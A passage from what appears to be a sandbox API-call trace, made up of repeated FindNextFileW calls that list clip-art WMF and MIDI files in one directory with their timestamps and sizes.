nFileSizeLow=0x6ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1 [0071.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20fce500, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20fce500, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1 [0071.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeba4c700, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeba4c700, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1 [0071.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74832900, ftCreationTime.dwHighDateTime=0x1bd4bf7, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74832900, ftLastWriteTime.dwHighDateTime=0x1bd4bf7, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1 [0071.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1 [0071.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7d46d00, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7d46d00, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1 [0071.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1 [0071.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1 [0071.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77641800, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77641800, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1 [0071.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfadcd00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfadcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1 [0071.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6395c300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6395c300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1 [0071.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60023c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60023c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1 [0071.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6eb500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c6eb500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1 [0071.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5295200, ftCreationTime.dwHighDateTime=0x1bd4b23, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5295200, ftLastWriteTime.dwHighDateTime=0x1bd4b23, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1 [0071.426] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99a2a00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99a2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1 [0071.426] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ca47100, ftCreationTime.dwHighDateTime=0x1bd4af0, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ca47100, ftLastWriteTime.dwHighDateTime=0x1bd4af0, nFileSizeHigh=0x0, nFileSizeLow=0x20ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1 [0071.426] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f738600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f738600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1 [0071.426] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c60b600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c60b600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1 [0071.426] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9efd600, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9efd600, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1 [0071.426] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54fadc00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54fadc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1 [0071.426] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62c55700, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62c55700, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1 [0071.426] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276b5e00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x276b5e00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1 [0071.426] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x263a3100, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x263a3100, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1 [0071.426] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25090400, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25090400, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1 [0071.426] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d7d700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23d7d700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1 [0071.426] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7ffa00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb7ffa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1 [0071.426] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a6aa00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a6aa00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1 [0071.426] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21757d00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21757d00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1 [0071.426] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1 [0071.426] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ba86700, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ba86700, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1 [0071.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d186600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d186600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1 [0071.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc31ccd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc31ccd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1 [0071.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63bebd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63bebd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1 [0071.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe440e600, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe440e600, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01636_.WMF", cAlternateFileName="")) returned 1 [0071.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910b6b00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x910b6b00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01637_.WMF", cAlternateFileName="")) returned 1 [0071.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd16ae900, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd16ae900, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01638_.WMF", cAlternateFileName="")) returned 1 [0071.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c32800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c32800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01639_.WMF", cAlternateFileName="")) returned 1 [0071.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CARBN_01.MID", cAlternateFileName="")) returned 1 [0071.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceceee00, ftCreationTime.dwHighDateTime=0x1c9b81d, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xceceee00, ftLastWriteTime.dwHighDateTime=0x1c9b81d, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="CG1606.WMF", cAlternateFileName="")) returned 1 [0071.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC1.WMF", cAlternateFileName="")) returned 1 [0071.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC2.WMF", cAlternateFileName="")) returned 1 [0071.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIP.WMF", cAlternateFileName="")) returned 1 [0071.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMNTY_01.MID", cAlternateFileName="")) returned 1 [0071.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1 [0071.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x60609cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1 [0071.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUP.WMF", cAlternateFileName="")) returned 1 [0071.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1 [0071.428] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1 [0071.428] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: 